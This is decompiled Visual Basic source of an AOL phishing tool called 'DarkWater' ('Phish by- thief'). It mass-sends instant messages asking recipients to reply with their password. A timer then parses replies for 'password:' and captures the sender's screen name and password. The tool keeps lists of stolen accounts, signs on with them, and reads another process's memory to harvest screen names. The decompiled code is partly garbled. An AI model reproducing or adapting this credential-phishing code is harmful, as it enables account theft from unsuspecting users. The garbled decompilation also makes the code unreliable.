DarkWater

Private Sub Add_Click()
  Dim var_28 As ListBox
  var_1C = Text1.Text
  var_18 = var_1C
  var_1C = Text1.Text
  var_20 = Text1.Text
  eax = (var_1C = vbNullString) + 1
  If (var_1C = vbNullString) + 1 = 0 Then GoTo loc_00475CFC
  var_38 = "Add screen name"
  GoTo loc_00475E53
  var_eax = List1.AddItem var_18, var_6C
  var_B8 = var_28
  var_AC = List1.ListCount
  var_1C = var_AC
  Text1.Text = vbNullString
  Exit Sub
End Sub

Private Sub Addroom_Click()
  Dim var_1C As ListBox
  call MailOpenNew(var_1C, var_24, var_1C)
  var_24 = List1.ListCount
  var_18 = var_24
  Exit Sub
End Sub

Private Sub CheckPhish_Click()
  Dim var_80 As ListBox
  call Proc_6_2_47D850(var_38, var_3C, var_40)
  var_7C = List1.ListCount
  var_7C = var_7C - 0001h
  var_60 = var_7C
  For var_24 = "" To var_7C Step 1
  var_C0 = var_24
  If var_C0 = 0 Then GoTo loc_00472E43
  var_38 = List1.List(CInt(var_28))
  var_3C = List2.List(CInt(var_2C))
  call Proc_6_0_47D320(0, 0, Me)
  call Proc_6_1_47D6A0(Me, var_48, var_44)
  If call Proc_6_1_47D6A0(Me, var_48, var_44) <> 0 Then GoTo loc_00472D2C
  call MailCountSent(Me, , )
  If call MailCountSent(Me, , ) <> 0 Then GoTo loc_00472CD0
  var_80 = var_38
  var_24 = CInt(var_004136C4)
  List3.List(var_24) = var_38
  If var_24 >= 0 Then GoTo loc_00472D19
  GoTo loc_00472D04
  var_80 = var_38
  var_24 = CInt(var_004136CC)
  List3.List(var_24) = var_38
  If var_24 >= 0 Then GoTo loc_00472D19
  call Proc_47D820(CheckObj(var_80, var_004136B0, 236), call MailCountSent(Me, , ), Me)
  GoTo loc_00472E20
  var_80 = var_38
  var_24 = CInt(var_38)
  var_eax = List1.RemoveItem var_24
  var_24 = CInt(var_38)
  var_D8 = var_24
  var_eax = List2.RemoveItem var_24
  var_24 = CInt(var_38)
  var_eax = List3.RemoveItem var_24
  Next var_24
  var_C0 = Next var_24
  GoTo loc_00472B87
  Exit Sub
  Exit Sub
End Sub

Private Sub Clearlist_Click()
  var_C0 = List1.ListCount
  If eax = 0 Then GoTo loc_00476183
  var_3C = "No One on List"
  GoTo loc_004762C6
  var_24 = MsgBox("Clear List", 36, var_4C, var_5C, var_6C)
  If (var_24 = 6) = 0 Then GoTo loc_004762AA
  var_eax = List1.Clear
  var_28 = 0
  Exit Sub
End Sub

Private Sub Command1_Click()
  Dim var_20 As TextBox
  var_18 = Text1.Text
  call Proc_6_3_47DC70(var_18, var_24, var_28)
  Set var_20 = Me
  var_eax = Global.Unload var_20
  Exit Sub
End Sub

Private Sub Command2_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Command3_Click()
  var_eax = Call Form2.Add_Click
End Sub

Private Sub Command4_Click()
  Exit Sub
End Sub

Private Sub Command5_Click()
  var_eax = Form4.Show var_18
End Sub

Private Sub Command6_Click()
  var_eax = Form5.Show var_18
End Sub

Private Sub Command7_Click()
  Dim var_20 As Variant
  Dim var_60 As TextBox
  var_18 = Command7.Caption
  If (var_18 = "Create Phrase") + 1 = 0 Then GoTo loc_00476D99
  Text2.Enabled = True
  Command7.Caption = "Set Phrase"
  If edi >= 0 Then GoTo loc_00476F1A
  GoTo loc_00476F0B
  var_4C = "(Please respond in this formatt: Password: giggles)"
  call InStr(var_44, &h00000000, var_54, var_34, &h00000001, var_20, %ecx = "", Me, var_20, (var_18 = "Create Phrase"), Me, var_20, var_54, Me, %ecx = "", edi)
  If CBool(InStr(var_44, &h00000000, var_54, var_34, &h00000001, var_20, var_44 <> "", Me, var_20, (var_18 <> "Create Phrase") <> 0 Then GoTo loc_00476EA8
  var_60 = var_34
  var_18 = Text2.Text
  Text2.Text = var_18 & "(Please respond in this formatt: Password: giggles)"
  Text2.Enabled = False
  Command7.Caption = "Create Phrase"
  If var_20 >= 0 Then GoTo loc_00476F1A
  Exit Sub
End Sub

Private Sub Dir1_Change()
  Dim var_20 As DirListBox
  Dim var_2C As DirListBox
  var_2C = var_20
  var_18 = Dir1.Path
  Dir1.ListIndex = var_18
  var_18 = Dir1.Path
  Dir1.TabIndex = var_18
  Exit Sub
End Sub

Private Sub Drive1_Change()
  var_18 = Drive1.Drive
  Drive1.Drive = var_18
  Exit Sub
End Sub

Private Sub File1_Click()
  Dim var_28 As DirListBox
  Dim var_30 As DirListBox
  Dim var_2C As FileListBox
  Dim var_84 As Variant
  var_18 = Dir1.Path
  var_38 = var_18
  var_7C = (Right(var_18, 1) = &H414E54)
  If var_7C = 0 Then GoTo loc_0047F944
  var_84 = var_30
  var_18 = Dir1.Path
  var_1C = File1.FileName
  var_20 = var_18 & var_1C
  File1.TabIndex = var_20
  GoTo loc_0047FA4A
  call var_84(var_30, var_2C, Me, var_28, Me, Me)
  var_84 = var_84(var_30, var_2C, Me, var_28, Me, Me)
  call var_84(var_28, var_84(var_30, var_2C, Me, var_28, Me, Me), var_84)
  var_18 = Dir1.Path
  call var_84(var_2C, var_18, var_84)
  var_1C = File1.FileName
  var_24 = var_18 & var_00414E54 & var_1C
  File1.TabIndex = var_24
  Exit Sub
End Sub

Private Sub Form_Click()
  var_eax = Me.Show var_64
  Set var_20 = Me
  var_eax = Global.Unload var_20
  var_18 = Dir("C:\Report.txt", 0)
  var_1C = call MailDeleteNewDuplicates(, , var_74)
  If (var_1C = vbNullString) = 0 Then GoTo loc_0047B2AA
  var_30 = "You have a bug report on file that needs to be sent"
  var_eax = Form10.Show var_64
  Exit Sub
End Sub

Private Sub Form_Load()
  var_18 = Dir1.Path
  Dir1.TabIndex = var_18
  Exit Sub
End Sub

Private Sub Form_Unload(Cancel As Integer)
  var_1C = Me.Top
  Me.Top = var_1C
  var_1C = Me.Top
  Me.Left = var_1C
  Me.Enabled = True
  Timer1.Enabled = False
  Exit Sub
  Exit Sub
End Sub

Private Sub Image1_Click()
  var_eax = Me.Show var_64
  Set var_20 = Me
  var_eax = Global.Unload var_20
  var_18 = Dir("C:\Report.txt", 0)
  var_1C = call MailDeleteNewDuplicates(, , var_74)
  If (var_1C = vbNullString) = 0 Then GoTo loc_0047B66A
  var_30 = "You have a bug report on file that needs to be sent"
  var_eax = Form10.Show var_64
  Exit Sub
End Sub

Private Sub Image2_Click()
  var_eax = Me.Show var_64
  Set var_20 = Me
  var_eax = Global.Unload var_20
  var_18 = Dir("C:\Report.txt", 0)
  var_1C = call MailDeleteNewDuplicates(, , var_74)
  If (var_1C = vbNullString) = 0 Then GoTo loc_0047B96A
  var_30 = "You have a bug report on file that needs to be sent"
  var_eax = Form10.Show var_64
  Exit Sub
End Sub

Private Sub Label10_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label11_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label12_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label13_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label14_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label15_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label16_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label1_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label2_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label3_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label4_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label5_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label6_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label7_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label8_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub Label9_Click()
  Set var_18 = Me
  var_eax = Global.Unload var_18
  Exit Sub
End Sub

Private Sub List1_Click()
  var_20 = List1.ListCount
  setg al
  If eax = 0 Then GoTo loc_0047458E
  var_20 = List1.ListIndex
  List1.ListIndex = var_20
  var_20 = List1.ListIndex
  List1.ListIndex = var_20
  Exit Sub
End Sub

Private Sub List1_DblClick()
  var_eax = Call Form2.removename_Click
End Sub

Private Sub List2_DblClick()
  var_eax = Call Form1.Remove_Click
End Sub

Private Sub List3_Click()
  var_20 = List1.ListCount
  setg al
  If eax = 0 Then GoTo loc_00474A8E
  var_20 = List3.ListIndex
  List3.ListIndex = var_20
  var_20 = List3.ListIndex
  List3.ListIndex = var_20
  Exit Sub
End Sub

Private Sub List3_DblClick()
  var_eax = Call Form1.Remove_Click
End Sub

Private Sub LoadList_Click()
  var_eax = Form7.Show var_18
End Sub

Private Sub Remove_Click()
  Dim var_1C As ListBox
  Dim var_20 As ListBox
  Dim var_B0 As ListBox
  var_A4 = List1.ListCount
  If var_B0 = 0 Then GoTo loc_00474F72
  var_30 = "No One on List"
  GoTo loc_00475302
  var_A4 = List1.SelCount
  If ebx = 0 Then GoTo loc_00474FED
  var_68 = "Highlight Name"
  GoTo loc_00475066
  var_A4 = List2.SelCount
  If ebx = 0 Then GoTo loc_004750B1
  var_30 = "Highlight Password"
  GoTo loc_00475300
  var_B0 = var_20
  var_A4 = List1.ListIndex
  var_eax = List1.RemoveItem var_A4
  var_A4 = List2.ListIndex
  var_eax = List2.RemoveItem var_A4
  var_B0 = var_1C
  var_A4 = List3.ListIndex
  var_eax = List3.RemoveItem var_A4
  var_A4 = List1.ListCount
  var_18 = var_A4
  Exit Sub
End Sub

Private Sub SaveList_Click()
  var_eax = Form6.Show var_18
End Sub

Private Sub Signon_Click()
  Dim var_B8 As ListBox
  Dim var_BC As ListBox
  var_B8 = List1.ListIndex
  setg bl
  If ebx = 0 Then GoTo loc_0047577F
  var_B8 = List1.ListIndex
  var_18 = List1.List(var_B8)
  var_BC = List2.ListIndex
  var_1C = List2.List(var_BC)
  call Proc_6_0_47D320(var_18, var_1C, var_34)
  GoTo loc_004757ED
  var_44 = "Please Select A Screenname to sign on with"
  Exit Sub
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
  If KeyAscii <> 13 Then GoTo loc_00477D48
  var_eax = Call Form2.Add_Click
End Sub

Private Sub Text2_KeyPress(KeyAscii As Integer)
  If KeyAscii <> 13 Then GoTo loc_004759CE
  var_eax = Text3.SetFocus
  Exit Sub
End Sub

Private Sub Text3_KeyPress(KeyAscii As Integer)
  If KeyAscii <> 13 Then GoTo loc_00475ABD
  var_eax = Call Form1.Add_Click
  var_eax = Text1.SetFocus
  Exit Sub
End Sub

Private Sub Timer1_Timer()
  call FindSendWindow(edi, esi, ebx)
  If call FindSendWindow(edi, esi, ebx) = 0 Then GoTo loc_00478413
  call FindSendWindow(, , )
  var_90 = call MailOpenEmailNew(, , )
  var_28 = LCase(call MailOpenEmailNew(, , ))
  var_18 = call MailOpenEmailFlash(, , )
  call Proc_47AC90(CLng(call FindSendWindow(, , )), , )
  call Proc_47AEC0(0.5, , )
  call MailOpenSent(var_18, , )
  var_C0 = "password:"
  call InStr(var_98, InStr, var_C8, var_28, &h00000001)
  var_E0 = CBool(InStr(var_98, InStr, var_C8, var_28, &h00000001))
  If var_E0 = 0 Then GoTo loc_00478411
  var_A8 = LCase("Password:")
  call InStr(var_B8, &h00000000, var_A8, var_28, &h00000001)
  var_48 = InStr(var_B8, &h00000000, var_A8, var_28, &h00000001)
  var_58 = Mid(var_28, var_48, Len(var_28))
  var_98 = Trim(Right(var_58, CLng(Len(var_58) - 9)))
  var_68 = var_98
  call InStr(var_98, &h00000000, var_C8, var_68, &h00000001)
  var_78 = Left(var_68, CLng(InStr(var_98, &h00000000, var_C8, var_68, &h00000001)))
  var_C0 = var_18
  var_F8 = var_84
  var_7C = CStr(Trim(var_18))
  var_FC = var_84
  var_7C = CStr(Trim(var_78))
  Exit Sub
  Exit Sub
End Sub

Private Sub about_Click()
  var_eax = Form8.Show var_18
End Sub

Private Sub gfdfg_Click()
  Dim var_38 As TextBox
  Dim var_4C As ListBox
  var_28 = Text2.Text
  If (var_28 = vbNullString) + 1 = 0 Then GoTo loc_004775DE
  var_5C = "Phish by- thief"
  var_4C = "You need a Phish message"
  GoTo loc_004778C7
  var_28 = List1.Text
  If (var_28 = vbNullString) + 1 = 0 Then GoTo loc_004775D1
  var_5C = "Phish by- thief"
  var_C0 = List1.ListCount
  var_C0 = var_C0 - 0001h
  var_94 = var_C0
  For var_24 = "" To var_C0 Step 1
  If var_F0 = 0 Then GoTo loc_004775D1
  var_24 = CInt(var_28)
  var_38 = List1.List(var_24)
  var_30 = Text2.Text
  call MailOpenOld(var_28, var_30, var_3C)
  Next var_24
  Exit Sub
  Exit Sub
End Sub

Private Sub ice_Click()
  var_eax = Form11.Show var_18
End Sub

Private Sub notes_Click()
  var_eax = Form9.Show var_18
End Sub

Private Sub phish_Click()
  var_eax = Form2.Show var_18
End Sub

Private Sub removename_Click()
  Dim var_20 As ListBox
  Dim var_B0 As ListBox
  var_A4 = List1.ListCount
  If ebx = 0 Then GoTo loc_00477A84
  var_68 = "No One on List"
  GoTo loc_00477AFD
  var_A4 = List1.SelCount
  If ebx = 0 Then GoTo loc_00477B48
  var_30 = "Highlight Name"
  GoTo loc_00477C75
  var_B0 = var_20
  var_A4 = List1.ListIndex
  var_eax = List1.RemoveItem var_A4
  var_A4 = List1.ListCount
  var_18 = var_A4
  Exit Sub
End Sub

Private Sub report_Click()
  var_eax = Form10.Show var_18
End Sub

Public Sub MailCountSent
  var_ret_1 = "AOL Frame25"
  FindWindow(var_ret_1, var_34)
  var_24 = FindWindow(var_ret_1, var_34)
  var_ret_2 = "MDICLIENT"
  FindWindowEx(var_24, 0, var_ret_2, 0)
  var_28 = FindWindowEx(var_24, 0, var_ret_2, 0)
  call MailOpenEmailOld("aol://4344:1580.prntcon.12263709.564517913", var_ret_3 = #StkVar1%StkVar2, GetLastError())
  var_ret_4 = " Parental Controls"
  var_ret_5 = "AOL Child"
  FindWindowEx(var_28, 0, var_ret_5, var_ret_4)
  var_14 = FindWindowEx(var_28, 0, var_ret_5, var_ret_4)
  var_ret_6 = "_AOL_Icon"
  FindWindowEx(var_14, 0, var_ret_6, 0)
  var_20 = FindWindowEx(var_14, 0, var_ret_6, 0)
  If var_14 = 0 Then GoTo loc_0047A756
  If var_20 = 0 Then GoTo loc_0047A756
  call Proc_47AEC0(0.3, , )
  PostMessage(var_20, 513, 0, 0)
  PostMessage(var_20, 514, 0, 0)
  call Proc_47AEC0(0.8, , )
  var_ret_7 = "_AOL_Modal"
  FindWindow(var_ret_7, 0)
  var_1C = FindWindow(var_ret_7, 0)
  var_ret_8 = "_AOL_Static"
  FindWindowEx(var_1C, 0, var_ret_8, 0)
  var_2C = FindWindowEx(var_1C, 0, var_ret_8, 0)
  var_18 = call MailDeleteNewByIndex(var_2C, , )
  If (var_18 = vbNullString) = 0 Then GoTo loc_0047A7EC
  If var_1C = 0 Then GoTo loc_0047A7EC
  If var_2C = 0 Then GoTo loc_0047A7EC
  var_38 = vbNullString
  var_34 = Chr(10)
  call MailOpenEmailSent(var_18, var_34, var_38)
  var_38 = vbNullString
  var_34 = Chr(13)
  call MailOpenEmailSent(call MailOpenEmailSent(var_18, var_34, var_38), var_34, var_38)
  var_18 = call MailOpenEmailSent(var_18, var_34, var_38)
  eax = (var_18 = "Set Parental Controls") - 1
  var_30 = (var_18 = "Set Parental Controls") - 1
  PostMessage(var_1C, 16, 0, 0)
  PostMessage(var_14, 16, 0, 0)
  Exit Sub
End Sub

Public Sub MailCountOld
  GetWindowTextLength(Me)
  var_20 = String(GetWindowTextLength(Me), "")
  GetWindowTextLength(Me) = GetWindowTextLength(Me) + &h00000001
  GetWindowText(Me, var_20, GetWindowTextLength(Me))
  var_ret_2 = var_24
  var_18 = var_20
  GoTo loc_0047AB1B
  If var_4 = 0 Then GoTo loc_0047AAFE
  Exit Sub
  Exit Sub
End Sub

Public Sub MailDeleteNewByIndex
  SendMessage(Me, 14, edi, var_58)
  var_1C = String(SendMessage(Me, 14, edi, var_58), "")
  SendMessage(Me, 14, edi, var_58) = SendMessage(Me, 14, edi, var_58) + &h00000001
  SendMessage(Me, 13, SendMessage(Me, 14, edi, var_58), var_1C)
  var_ret_2 = var_24
  var_20 = var_1C
  GoTo loc_0047AC67
  If var_4 = 0 Then GoTo loc_0047AC4A
  Exit Sub
  Exit Sub
End Sub

Public Sub MailDeleteNewDuplicates
  var_ret_1 = "AOL Frame25"
  FindWindow(var_ret_1, var_30)
  var_ret_2 = "MDIClient"
  FindWindowEx(FindWindow(var_ret_1, var_30), 0, var_ret_2, 0)
  var_54 = FindWindowEx(var_54, 0, var_ret_2, 0)
  var_24 = var_54
  var_ret_3 = "AOL Child"
  FindWindowEx(var_54, 0, var_ret_3, 0)
  var_28 = FindWindowEx(var_54, 0, var_ret_3, 0)
  call MailCountOld(var_28, GetLastError(), var_ret_4 = #StkVar1%StkVar2)
  var_18 = var_ret_4
  If InStr(1, var_18, "Welcome, ", 0) <> 0 Then GoTo loc_0047ADF6
  InStr(1, var_18, var_00415430, 0) = InStr(1, var_18, var_00415430, 0) - &h0000000A
  var_38 = InStr(1, var_18, var_00415430, 0)
  var_2C = Mid$(var_18, 10, InStr(1, var_18, var_00415430, 0))
  GoTo loc_0047AE8F
  var_ret_5 = "AOL Child"
  FindWindowEx(var_24, var_28, var_ret_5, 0)
  var_54 = FindWindowEx(var_24, var_28, var_ret_5, 0)
  var_28 = var_54
  call MailCountOld(var_28, var_0047AE99, var_28 = "")
  var_18 = var_54
  If InStr(1, var_18, "Welcome, ", 0) = 0 Then GoTo loc_0047AD96
  If var_28 <> 0 Then GoTo loc_0047ADF6
  var_2C = vbNullString
  GoTo loc_0047AE8F
  If var_4 = 0 Then GoTo loc_0047AE7C
  Exit Sub
End Sub

Public Sub FindSendWindow
  var_ret_1 = "AOL Frame25"
  FindWindow(var_ret_1, var_28)
  var_ret_2 = "MDIClient"
  FindWindowEx(FindWindow(var_ret_1, var_28), 0, var_ret_2, 0)
  var_1C = FindWindowEx(FindWindow(var_ret_1, var_28), 0, var_ret_2, 0)
  var_ret_3 = "AOL Child"
  FindWindowEx(FindWindowEx(FindWindow(var_ret_1, var_28), 0, var_ret_2, 0), 0, var_ret_3, 0)
  var_20 = FindWindowEx(FindWindowEx(FindWindow(var_ret_1, var_28), 0, var_ret_2, 0), 0, var_ret_3, 0)
  call MailCountOld(var_20, var_ret_4 = #StkVar1%StkVar2, FindWindowEx(FindWindowEx(FindWindow(var_ret_1, var_28), 0, var_ret_2, 0), 0, var_ret_3, 0))
  var_14 = var_ret_4
  If InStr(1, var_14, "Instant Message", 0) = 0 Then GoTo loc_00478B28
  var_24 = var_20
  GoTo loc_00478BEF
  var_ret_5 = "AOL Child"
  FindWindowEx(var_1C, var_20, var_ret_5, 0)
  var_20 = FindWindowEx(var_1C, var_20, var_ret_5, 0)
  call MailCountOld(var_20, var_00478BF9, GetLastError())
  setnz bl
  InStr(1, call MailCountOld(var_20, var_00478BF9, GetLastError()), "Instant Message", 0) - 1
  setnz dl
  If edx = 0 Then GoTo loc_00478BCD
  If var_20 = 0 Then GoTo loc_00478BD7
  GoTo loc_00478B28
  var_24 = var_20
  GoTo loc_00478BEF
  Exit Sub
End Sub

Public Sub MailOpenFlash
  var_ret_1 = "AOL Frame25"
  FindWindow(var_ret_1, 0)
  var_ret_2 = "MDIClient"
  FindWindowEx(FindWindow(var_ret_1, 0), 0, var_ret_2, 0)
  var_38 = FindWindowEx(var_38, 0, var_ret_2, 0)
  var_28 = var_38
  var_ret_3 = "AOL Child"
  FindWindowEx(var_38, 0, var_ret_3, 0)
  var_38 = FindWindowEx(var_38, 0, var_ret_3, 0)
  var_2C = var_38
  var_ret_4 = "RICHCNTL"
  FindWindowEx(var_38, 0, var_ret_4, 0)
  var_1C = FindWindowEx(var_38, 0, var_ret_4, 0)
  var_ret_5 = "_AOL_Listbox"
  FindWindowEx(var_2C, 0, var_ret_5, 0)
  var_24 = FindWindowEx(var_2C, 0, var_ret_5, 0)
  var_ret_6 = "_AOL_Icon"
  FindWindowEx(var_2C, 0, var_ret_6, 0)
  var_30 = FindWindowEx(var_2C, 0, var_ret_6, 0)
  var_ret_7 = "_AOL_Static"
  FindWindowEx(var_2C, 0, var_ret_7, 0)
  var_38 = FindWindowEx(var_2C, 0, var_ret_7, 0)
  If var_1C = 0 Then GoTo loc_00478D8B
  If var_24 = 0 Then GoTo loc_00478D8B
  If var_30 = 0 Then GoTo loc_00478D8B
  If var_38 = 0 Then GoTo loc_00478D8B
  var_18 = var_2C
  GoTo loc_00478EA1
  var_ret_8 = "AOL Child"
  FindWindowEx(var_28, var_2C, var_ret_8, 0)
  var_38 = FindWindowEx(var_28, var_2C, var_ret_8, 0)
  var_2C = var_38
  var_ret_9 = "RICHCNTL"
  FindWindowEx(var_38, 0, var_ret_9, 0)
  var_1C = FindWindowEx(var_38, 0, var_ret_9, 0)
  var_ret_A = "_AOL_Listbox"
  FindWindowEx(var_2C, 0, var_ret_A, 0)
  var_24 = FindWindowEx(var_2C, 0, var_ret_A, 0)
  var_ret_B = "_AOL_Icon"
  FindWindowEx(var_2C, 0, var_ret_B, 0)
  var_30 = FindWindowEx(var_2C, 0, var_ret_B, 0)
  var_ret_C = "_AOL_Static"
  FindWindowEx(var_2C, 0, var_ret_C, 0)
  var_38 = FindWindowEx(var_2C, 0, var_ret_C, 0)
  If var_1C = 0 Then GoTo loc_00478E70
  If var_24 = 0 Then GoTo loc_00478E70
  If var_30 = 0 Then GoTo loc_00478E70
  If var_38 <> 0 Then GoTo loc_00478E7C
  If var_2C = 0 Then GoTo loc_00478E89
  GoTo loc_00478D8B
  var_18 = var_2C
  GoTo loc_00478EA1
  Exit Sub
End Sub

Public Sub MailOpenNew
  On Error Resume Next
  var_34 = call MailOpenFlash(-1, edi, esi)
  If var_34 <> 0 Then GoTo loc_00478F35
  GoTo loc_00479317
  var_ret_1 = "_AOL_Listbox"
  FindWindowEx(var_34, 0, var_ret_1, 0)
  var_48 = FindWindowEx(var_34, 0, var_ret_1, 0)
  GetWindowThreadProcessId(var_48, var_40)
  var_24 = GetWindowThreadProcessId(var_48, var_40)
  OpenProcess(983056, 0, var_40)
  var_44 = OpenProcess(983056, 0, var_40)
  If var_44 = 0 Then GoTo loc_00479317
  SendMessage(var_48, 395, 0, var_70)
  var_74 = SendMessage(var_48, 395, 0, var_70)
  var_84 = var_74 - &h00000001
  GoTo loc_00479026
  var_28 = var_28 + 1
  var_28 = var_28
  If var_28 > 0 Then GoTo loc_00479301
  var_38 = String$(4, vbNullString)
  SendMessage(var_48, 409, var_28, 0)
  var_30 = SendMessage(var_48, 409, var_28, 0)
  var_30 = var_30 + &h00000018
  ReadProcessMemory(var_44, var_30, var_38, 4, var_3C)
  var_ret_3 = var_4C
  CopyMemory(var_2C, var_38, 4)
  var_ret_5 = var_4C
  var_2C = var_2C + &h00000006
  var_38 = String$(16, vbNullString)
  ReadProcessMemory(var_44, var_2C, var_38, Len(var_38), var_3C)
  var_ret_7 = var_4C
  InStr(1, var_38, vbNullString, 0) = InStr(1, var_38, vbNullString, 0) - &h00000001
  var_38 = Left$(var_38, InStr(1, var_38, vbNullString, 0))
  var_4C = call MailDeleteNewDuplicates(var_38, 0, fs:[&h00000000])
  If var_78 = 0 Then GoTo loc_004792F5
  var_7C = (vtable)
  GoTo loc_00479017
  CloseHandle(var_44)
  Exit Sub
End Sub

Public Sub MailOpenOld
  var_ret_1 = "AOL Frame25"
  FindWindow(var_ret_1, var_30)
  var_18 = FindWindow(var_ret_1, var_30)
  var_ret_2 = "MDIClient"
  FindWindowEx(var_18, 0, var_ret_2, 0)
  var_1C = FindWindowEx(var_18, 0, var_ret_2, 0)
  var_30 = "aol://9293:" & Me
  call MailOpenEmailOld(var_30, GetLastError(), var_ret_3 = #StkVar1%StkVar2)
  var_ret_4 = "Send Instant Message"
  var_ret_5 = "AOL Child"
  FindWindowEx(var_1C, 0, var_ret_5, var_ret_4)
  var_ret_6 = "RICHCNTL"
  FindWindowEx(FindWindowEx(var_1C, 0, var_ret_5, var_ret_4), 0, var_ret_6, 0)
  var_38 = FindWindowEx(var_38, 0, var_ret_6, 0)
  var_14 = var_38
  var_ret_7 = "_AOL_Icon"
  FindWindowEx(var_38, 0, var_ret_7, 0)
  var_38 = FindWindowEx(var_38, 0, var_ret_7, 0)
  var_28 = var_38
  var_ret_8 = "_AOL_Icon"
  FindWindowEx(var_38, var_28, var_ret_8, 0)
  var_38 = FindWindowEx(var_38, var_28, var_ret_8, 0)
  var_28 = var_38
  var_ret_9 = "_AOL_Icon"
  FindWindowEx(var_38, var_28, var_ret_9, 0)
  var_38 = FindWindowEx(var_38, var_28, var_ret_9, 0)
  var_28 = var_38
  var_ret_A = "_AOL_Icon"
  FindWindowEx(var_38, var_28, var_ret_A, 0)
  var_38 = FindWindowEx(var_38, var_28, var_ret_A, 0)
  var_28 = var_38
  var_ret_B = "_AOL_Icon"
  FindWindowEx(var_38, var_28, var_ret_B, 0)
  var_38 = FindWindowEx(var_38, var_28, var_ret_B, 0)
  var_28 = var_38
  var_ret_C = "_AOL_Icon"
  FindWindowEx(var_38, var_28, var_ret_C, 0)
  var_38 = FindWindowEx(var_38, var_28, var_ret_C, 0)
  var_28 = var_38
  var_ret_D = "_AOL_Icon"
  FindWindowEx(var_38, var_28, var_ret_D, 0)
  var_38 = FindWindowEx(var_38, var_28, var_ret_D, 0)
  var_28 = var_38
  var_ret_E = "_AOL_Icon"
  FindWindowEx(var_38, var_28, var_ret_E, 0)
  var_38 = FindWindowEx(var_38, var_28, var_ret_E, 0)
  var_28 = var_38
  var_ret_F = "_AOL_Icon"
  FindWindowEx(var_38, var_28, var_ret_F, 0)
  var_28 = FindWindowEx(var_38, var_28, var_ret_F, 0)
  If var_38 = 0 Then GoTo loc_0047941B
  If var_14 = 0 Then GoTo loc_0047941B
  If var_28 = 0 Then GoTo loc_0047941B
  SendMessage(var_14, 12, 0, arg_C)
  var_ret_11 = var_30
  SendMessage(var_28, 513, 0, 0)
  SendMessage(var_28, 514, 0, 0)
  var_ret_12 = "America Online"
  var_ret_13 = "#32770"
  FindWindow(var_ret_13, var_ret_12)
  var_38 = FindWindow(var_ret_13, var_ret_12)
  var_ret_14 = "Send Instant Message"
  var_ret_15 = "AOL Child"
  FindWindowEx(var_1C, 0, var_ret_15, var_ret_14)
  var_38 = FindWindowEx(var_1C, 0, var_ret_15, var_ret_14)
  var_2C = var_38
  If var_38 <> 0 Then GoTo loc_0047972A
  If var_2C <> 0 Then GoTo loc_00479698
  If var_38 = 0 Then GoTo loc_00479784
  var_ret_16 = "Button"
  FindWindowEx(var_38, 0, var_ret_16, 0)
  var_38 = FindWindowEx(var_38, 0, var_ret_16, 0)
  PostMessage(var_38, 256, 32, 0)
  PostMessage(var_38, 257, 32, 0)
  PostMessage(var_2C, 16, 0, 0)
  Exit Sub
End Sub

Public Sub MailOpenSent
  call MailOpenOld("$IM_OFF, " & Me, "=)", 0)
  Exit Sub
End Sub

Public Sub MailOpenEmailFlash
  var_44 = call FindSendWindow(edi, esi, ebx)
  var_18 = call MailCountOld(var_44, , )
  If InStr(1, var_18, var_00414C98, 0) <> 0 Then GoTo loc_004798F5
  var_20 = vbNullString
  GoTo loc_0047996E
  var_38 = var_18
  Len(var_18) = Len(var_18) - InStr(1, var_18, var_00414C98, 0)
  Len(var_18) = Len(var_18) - &h00000001
  var_20 = Right(var_18, Len(var_18))
  GoTo loc_0047996E
  If var_4 = 0 Then GoTo loc_00479964
  Exit Sub
End Sub

Public Sub MailOpenEmailNew
  var_ret_1 = "America  Online"
  var_ret_2 = "AOL Frame25"
  FindWindow(var_ret_2, var_ret_1)
  var_ret_3 = "MDIClient"
  FindWindowEx(FindWindow(var_ret_2, var_ret_1), 0, var_ret_3, 0)
  var_ret_4 = "AOL Child"
  FindWindowEx(FindWindowEx(FindWindow(var_ret_2, var_ret_1), 0, var_ret_3, 0), 0, var_ret_4, 0)
  var_34 = FindWindowEx(var_34, 0, var_ret_4, 0)
  var_ret_5 = "RICHCNTL"
  FindWindowEx(var_34, 0, var_ret_5, 0)
  var_28 = FindWindowEx(var_34, 0, var_ret_5, 0)
  var_20 = call MailDeleteNewByIndex(var_28, , )
  GoTo loc_00479AC3
  If var_4 = 0 Then GoTo loc_00479AAF
  Exit Sub
End Sub

Public Sub MailOpenEmailOld
  var_ret_1 = "AOL Frame25"
  FindWindow(var_ret_1, 0)
  var_ret_2 = "AOL Toolbar"
  FindWindowEx(FindWindow(var_ret_1, 0), 0, var_ret_2, 0)
  var_ret_3 = "_AOL_Toolbar"
  FindWindowEx(FindWindowEx(var_2C, 0, var_ret_2, 0), 0, var_ret_3, 0)
  var_ret_4 = "_AOL_Combobox"
  FindWindowEx(FindWindowEx(var_2C, 0, var_ret_3, 0), 0, var_ret_4, 0)
  var_ret_5 = "Edit"
  FindWindowEx(FindWindowEx(var_2C, 0, var_ret_4, 0), 0, var_ret_5, 0)
  var_2C = FindWindowEx(var_2C, 0, var_ret_5, 0)
  SendMessage(var_2C, 12, 0, Me)
  SendMessage(var_2C, 258, 32, 0)
